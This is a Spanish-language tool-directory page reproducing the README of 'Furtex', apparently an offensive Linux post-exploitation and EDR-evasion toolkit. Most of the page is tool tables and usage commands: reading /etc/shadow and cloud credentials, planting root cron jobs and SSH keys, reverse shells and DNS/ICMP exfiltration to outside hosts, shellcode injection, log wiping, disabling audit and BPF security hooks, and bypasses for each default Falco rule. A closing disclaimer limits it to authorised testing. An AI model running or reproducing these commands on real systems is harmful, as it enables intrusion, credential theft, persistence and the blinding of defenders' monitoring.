Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Furtex — Kit de investigación de post-explotación y evasión para Linux. | Kitploit
Herramientas/GitHubGitHub/matheuzsecurity/furtex
Escalada de PrivilegiosExplotaciónPost-ExplotaciónAnálisis de MalwarePruebas de PenetraciónComando y ControlAnálisis de BinariosRed TeamingDesarrollo de Payloads
GitHubmatheuzsecurity/furtex

Furtex

Kit de investigación de post-explotación y evasión para Linux.

26130hace 29 díasRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Furtex

Kit de investigación de post-explotación y evasión para Linux, construido alrededor de io_uring y eBPF. Sin liburing, sin frameworks, syscalls puras en todo.

Más herramientas pronto. Los PRs son bienvenidos. 🇧🇷

Únete a Rootkit Researchers

  • https://discord.gg/66N5ZQppU7

Solo para investigaciones autorizadas y compromisos de red team. No lo ejecutes en sistemas que no poseas.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

root@kitploit:~
## Requisitos

**Cadena de herramientas**

| herramienta | necesario para |
|---|---|
| `gcc` | todos los binarios de espacio de usuario |
| `clang` | programas del lado BPF `ebpf/*.bpf.c` |
| `make` | sistema de compilación |

**Encabezados y bibliotecas**

| paquete | necesario para |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` y encabezados de kernel relacionados |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` y similares usados en los programas `ebpf/` |
| `bpftool` | generar `vmlinux.h` mediante `make vmlinux` dentro de `ebpf/` |

En Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Versiones del kernel

Capacidades

BTF debe estar habilitado en el kernel (CONFIG_DEBUG_INFO_BTF=y) para ejecutar make vmlinux para los programas de ebpf/.

En distribuciones con cabeceras libc-dev más antiguas (Ubuntu 22.04, etc.) puede que necesites #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Ya está cubierto en este repositorio.

Compilación

edrs/ tiene su propio sub-Makefile con ~75 binarios divididos por privilegio:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

root@kitploit:~
See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) for the full breakdown.

## Cobertura de bypass de io_uring

Los SQEs de io_uring pasan por el workqueue del kernel. `io_uring_enter(2)` nunca llama a través de `sys_call_table`, nunca dispara los tracepoints `sys_enter_*`, y nunca pasa por livepatch en `native_sys_call`. Eso por sí solo elimina una gran clase de hooks de EDR sin tocar nada.

Lo que io_uring evade por sí solo:

| punto de hook | nota |
|---|---|
| reemplazo del puntero de `sys_call_table` | io_uring nunca pasa por la tabla de syscalls |
| livepatch en `native_sys_call` / `compat_sys_call` | la misma razón |
| tracepoints `sys_enter_*` | ruta del workqueue, no se dispara ningún tracepoint |

Lo que io_uring NO evade por sí solo (necesita una herramienta activa):

| punto de hook | herramienta | qué hace la herramienta |
|---|---|---|
| kprobes en `vfs_read`, `security_file_open`, etc. | `ftrace_enum` | elimina los hooks de kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | desconecta el enlace BPF |
| Linux audit | `audit_kill` | desactiva auditd mediante NETLINK_AUDIT |
| parches LD_PRELOAD / PLT-GOT | `plt_unhook` | elimina los hooks de userland |
| netfilter OUTPUT / conntrack | `af_packet_shell` | usa AF_PACKET en la capa 2, omite netfilter |
| hooks de `inet_stream_connect` | `udp_shell` | usa UDP, nunca llama a la ruta de conexión TCP |

## io_uring/

`iouring_utils.h` se encarga de la configuración del ring sin liburing.

| binario | qué hace |
|---|---|
| `file_read` | cadena OPENAT+READ+CLOSE vía io_uring, sin evento sys_enter_read |
| `file_write` | cadena OPENAT+WRITE+CLOSE |
| `file_append` | igual que file_write pero con O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV en un solo ring |
| `net_reverse_shell` | reverse shell sobre CONNECT de io_uring |
| `multifile_read` | hasta 64 archivos en un lote SQE |
| `memfd_exec` | transmite ELF por stdin hacia memfd, execve vía /proc/self/fd |
| `proc_inject` | inyección JIT vía /proc/PID/mem; inyección ptrace (flag --ptrace) |
| `pipe_splice` | SPLICE de kernel a kernel, los hooks de userspace nunca ven los bytes |
| `inotify_bypass_watch` | el READ de io_uring no genera IN_ACCESS/IN_OPEN |
| `dns_exfil` | codifica datos en hexadecimal como etiquetas de consulta DNS mediante SENDMSG de io_uring |
| `af_packet_send` | Ethernet crudo vía AF_PACKET (IORING_OP_SOCKET, evade la ruta inet) |
| `xdp_socket_send` | frame crudo vía AF_XDP + ring UMEM, evade netfilter por completo |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

La mayoría de las herramientas requieren CAP_BPF. env_exfil funciona sin privilegios. icmp_trigger requiere CAP_NET_RAW en lugar de CAP_BPF.

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

root@kitploit:~
## ebpf/

Requiere clang + libbpf + vmlinux.h. Ejecuta `make vmlinux` dentro de `ebpf/` para generarlo desde el BTF del kernel en ejecución.

| archivo | qué hace |
|---|---|
| `exec.bpf.c` | tracepoint en sys_enter_execve |
| `fentry_open.bpf.c` | tracepoint en sys_enter_openat |
| `creds.bpf.c` | rastrea openat+read en rutas de credenciales |
| `keylog.bpf.c` | tracepoint de eventos de entrada, captura de keycode en bruto |
| `net.bpf.c` | registro de sys_enter_connect |
| `net_hide.bpf.c` | oculta puertos de /proc/net/tcp y /proc/net/udp |
| `proc_hide.bpf.c` | oculta PIDs de la salida de getdents64 |
| `tty_sniff.bpf.c` | captura escrituras y lecturas de stdin/stdout/stderr |
| `skf_c2_runner.c` | C2 por ICMP mediante filtro de socket BPF clásico |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | disparador XDP en paquete UDP mágico |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

edrs/

sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>

root@kitploit:~
## techniques/ (bypass de Falco)

Se dirige al conjunto de reglas predeterminado de Falco (controlador `modern_ebpf`, 25 reglas). Ejecuta `edrs/edr_recon` primero.

Eje de bypass A: evitar que el evento llegue a Falco (io_uring omite `sys_enter_*`, el drenaje de ringbuf descarta eventos silenciosamente).
Eje de bypass B: el evento llega a Falco pero la condición de la regla no coincide (spoof de proc.name, pivote de ruta, flags alternativos).

| herramienta | eje | reglas de Falco |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | todas |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | todas |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | todas |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | todas las 25 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log

Contribuciones

Abre un PR. Herramientas de propósito único, syscalls directas, sin nuevas dependencias.

Aviso legal

Este proyecto está destinado estrictamente a la investigación en seguridad, pruebas de penetración autorizadas, competiciones CTF y desarrollo de herramientas defensivas. Todas las técnicas demostradas aquí están documentadas en investigaciones de seguridad públicas y en la documentación del kernel.

No utilices este toolkit contra sistemas que no poseas o para los que no tengas autorización explícita por escrito para probar. El uso no autorizado puede violar la Computer Fraud and Abuse Act (CFAA), la Directiva de la UE sobre ataques contra sistemas de información y las leyes equivalentes de tu jurisdicción.

Los autores no asumen ninguna responsabilidad por el mal uso. Al utilizar este software, aceptas que eres el único responsable del cumplimiento de las leyes aplicables.

Descargar herramienta
minimumlo que desbloquea
5.4base de io_uring (IORING_FEAT_SINGLE_MMAP, iteración de mapas BPF)
5.6IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8división de CAP_BPF + CAP_PERFMON (reemplaza a CAP_SYS_ADMIN para BPF)
5.9BPF_LINK_DETACH (bpf_link_detach)
5.19IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)
capacidadherramientas que la requieren
CAP_BPF (o CAP_SYS_ADMIN pre-5.8)todas las herramientas bpf/, cargadores ebpf/
CAP_PERFMONprogramas ebpf/ de tracepoint y kprobe
CAP_NET_RAWicmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMINxdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROLaudit_kill
comandocompila
make alltodo
make uringsolo io_uring/
make bpfherramientas de espacio de usuario de bpf/
make ebpfprogramas del lado de BPF (necesita clang + libbpf)
make edrstodos los binarios de edrs/
make techniquesherramientas de evasión de Falco
make cleanelimina todos los binarios
binarioqué hace
map_reconlista todos los mapas BPF cargados
map_dumpervuelca el contenido de un mapa por ID
map_writeactualiza entradas de un mapa por ID
map_poisonpone a cero las entradas de interesting_sys de Falco alrededor de un payload
prog_reconlista programas BPF: tipo, nombre, número de mapas
pid_allowlistinserta un PID en un mapa de lista permitida de EDR
edr_finevalúa mapas/programas BPF cargados según heurísticas EDR conocidas
lsm_checkdetecta hooks LSM de BPF activos y comprueba si las escrituras de mapas están bloqueadas
bpf_persistfija/recupera/desfija mapas y programas en bpffs
map_snapshotguarda y restaura el contenido de mapas en un archivo binario
env_exfillee /proc/*/environ en busca de secretos
bpf_link_detachenumera y desacopla enlaces BPF (elimina hooks LSM)
link_updateredirige un enlace BPF a un programa no operativo (el hook permanece visible, no activa nada)
map_freezecongela un mapa BPF en modo solo lectura mediante BPF_MAP_FREEZE (las escrituras devuelven -EPERM)
icmp_triggerpuerta trasera de paquete mágico ICMP; lanza una shell inversa a través de un relé socketpair; se hace pasar por kworker/u4:2
sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port>
binaryroottechnique
edr_reconsídetector de EDR de 12 proveedores: procesos, artefactos, módulos, BPF, kprobes
bpf_prog_reconsíenumera programas BPF cargados, mapas y kprobes
bpf_map_wipesíborra entradas de mapas BPF
bpf_detach_allsídesengancha todos los enlaces BPF
tetragon_blindsíescanea, congela, descongela, mata o ciega procesos de Tetragon/Falco
ftrace_enumsíenumera y limpia ganchos kprobe/ftrace
lkm_unloadsídescarga módulos del kernel
lkm_inline_detectsídetecta ganchos inline del kernel
perf_bpf_killsíenumera y mata programas BPF de eventos perf de Falco
module_reconsíenumera módulos del kernel
cgroup_freezesícongela/descongela procesos mediante cgroup v2
oom_cagesíestablece oom_score_adj para sí mismo o para el objetivo
sysctl_blindsílee/escribe sysctls relevantes para la seguridad
audit_killsídesactiva/limita la auditoría de Linux mediante NETLINK_AUDIT
inotify_exhaustsíconsume todas las watches de inotify
netfilter_flushsívacía las cadenas de netfilter
dmesg_wipesílimpia el ring buffer del kernel
ld_so_preloadsímanipula /etc/ld.so.preload
proc_hidesíoculta /proc/PID mediante bind-mount
mount_oversíbind-mount sobre rutas arbitrarias
log_wipesítrunca archivos de registro e historial de shell
elf_infectsíinyección de parásito PT_NOTE a PT_LOAD
proc_mem_injectsípwrite a /proc/PID/mem, sin adjuntar ptrace
af_packet_shellsíC2 Ethernet crudo que evita netfilter OUTPUT
icmp_tunnelsíexfiltración mediante payload de ICMP echo-request
event_floodsíinundación de eventos alrededor del payload para saturar el monitor
livepatch_bypasssíio_uring más allá de los ganchos de livepatch en el despachador de syscalls
livepatch_stack_blindsídesactiva la pila de ganchos livepatch + BPF kprobe + netfilter; descarga de módulos mediante comm spoofing
lsm_authlink_blindsídesactiva los flujos auth-link de LSM, congela o mata al agente de autenticación, escribe mediante inode swap
lsm_callback_bypasssíevita los callbacks de LSM mediante pidfd_getfd, process_vm_writev, adjuntar perf+BPF, nueva netns
bpf_fim_blindsícongela el sensor FIM de BPF, borra entradas de mapas ring-buffer, inunda ringbuf
syscall_dispatch_bypasssíoperaciones de archivo/red de io_uring que evitan kprobes en el despacho de syscalls y livepatch do_syscall_64
bpf_kprobe_bypasssíoperaciones de archivo/red/exec de io_uring que evitan los objetivos kprobe _x64_sys*
ptrace_inject_sosícarga .so en un proceso vivo mediante ptrace + dlopen
uring_stealthnooperaciones de archivo/red mediante io_uring, sin eventos sys_enter_*
openat2_bypassnosyscalls alternativas (openat2, copy_file_range)
ptrace_selfguardnobloquea ptrace externo mediante un proceso guardián
plt_unhooknodetecta y evita ganchos PLT-GOT mediante dlmopen
fexecve_dropnoELF en memfd, execve mediante /proc/self/fd
memfd_loadernocarga .so mediante memfd, se invoca el constructor
memfd_userexecnoELF desde stdin a memfd, execve mediante /proc/self/fd
hollow_procnoprocess hollowing con nombre señuelo en ps
argv_spoofnorenombra comm mediante prctl(PR_SET_NAME) y sobrescritura de argv[0]
clone_netnsnoejecución en namespace de red sin privilegios
ns_execnounshare de namespaces user/pid/mount
splice_c2noC2 TCP usando splice(2) para transferencia de datos; los ganchos send/recv nunca se activan
abstract_sock_c2noC2 sobre socket Unix abstracto
udp_shellnoreverse shell UDP, evita inet_stream_connect
tls_shellnoreverse shell detrás de un ClientHello TLS falso
dns_exfil_rawnocodifica datos en hexadecimal como etiquetas de consulta DNS
pidfd_stealnoroba fds abiertos de otros procesos mediante pidfd_getfd
vma_hidenociclo RWX a PROT_NONE, MADV_DONTDUMP, renombrado de VMA
coredump_blocknobloquea core dumps mediante filter/dumpable/rlimit
seccomp_notifynointercepta syscalls mediante SECCOMP_USER_NOTIF
ipc_covertnoC2 sobre mqueue POSIX
shared_mem_c2noC2 sobre shm POSIX, sin tráfico de red
pipe_exfilnoexfiltración con splice(2), ganchos LD_PRELOAD ciegos
proc_fd_scannoescanea enlaces simbólicos de /proc/PID/fd en busca de rutas sensibles
proc_vm_injectnoprocess_vm_writev, sin abrir /proc/PID/fd
self_deletenoelimina su propio binario del disco mientras se ejecuta
time_stompnoclona/pon a cero/establece atime+mtime
userland_persistnobashrc/crontab/autostart/authorized_keys
env_scrapenolee /proc/*/environ en busca de secretos y sockets SSH
anon_shellcodenoshellcode en MAP_ANONYMOUS, sin archivo, sin execve
ld_preload_injectnodeja caer .so, inyecta mediante LD_PRELOAD
ssh_agent_hijacknohabla el protocolo del agente con el socket capturado
fanotify_bypassnomemfd/anon-mmap/devshm para evitar marcas de fanotify
ringbuf_floodnosatura el ringbuf de BPF para descartar eventos
log_evasionnooperaciones de archivo io_uring y shell TCP por syscalls crudas, sin wrappers de libc
syscalltable_bypassnoio_uring más allá de los ganchos de puntero de sys_call_table
uring_recon_unprivnocredenciales, claves, conexiones mediante io_uring read
fd_steal_readnoroba fds mediante pidfd_getfd, lee sin open() propio
mmap_readnolee archivos mediante mmap, sin syscall read()
scm_rights_exfilnopasa fd mediante SCM_RIGHTS, lee sin open() propio
splice_readnolee mediante splice(2), sin buffer en espacio de usuario
sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps
ReglaBypassHerramienta
1 Lectura de archivo supervisada por directory traversalio_uring OPENATuring_ops cat, per_rule_bypass dir-traversal
3 Leer archivo sensible no confiableio_uring o prctluring_ops creds, bypass_file_rules read-masked
4 Ejecutar shell no confiablepython3/perl en lugar de shrule_evade unusual-shell
6 Shell de terminal en contenedorsetsid, proc.tty=0bypass_proc_rules shell-notty
7 Contactar con el API Server de K8Sio_uring CONNECTuring_ops shell, per_rule_bypass k8s-connect
8 RCE de Netcatbinario C, proc.name != nc/ncatbypass_proc_rules reverse-shell
9 Buscar claves privadasopen+read en C, sin grep/findbypass_file_rules grep-bypass
10 Limpiar actividades de logftruncate sin O_TRUNCbypass_file_rules log-clear
11 Eliminar datos masivosbucle de escritura, sin shred/mkfsbypass_file_rules wipe
15 Redirigir STDOUT/STDIN a la redfcntl F_DUPFD en lugar de dup2bypass_proc_rules reverse-shell
18 Detectar escape de release_agentio_uring OPENAT+WRITE hacia release_agentcgroup_escape proof/shell, uring_ops write
19 PTRACE adjuntado al proceso/proc/PID/mem o process_vm_writevbypass_proc_rules proc-inject
20 Intento de anti-debug con PTRACEcomprobación de TracerPid mediante /proc/self/statusbypass_proc_rules anti-debug
22 Ejecución desde /dev/shmexec desde /run/user/uid/ en su lugarbypass_proc_rules run-safe
25 Ejecución fileless vía memfd_createshellcode vía mmap, sin execveexe_from_memfd_bypass sc, proc_ghost ghost-sc
todasvaciar ringbuf o eliminar scap.koringbuf_overflow, kmod_unload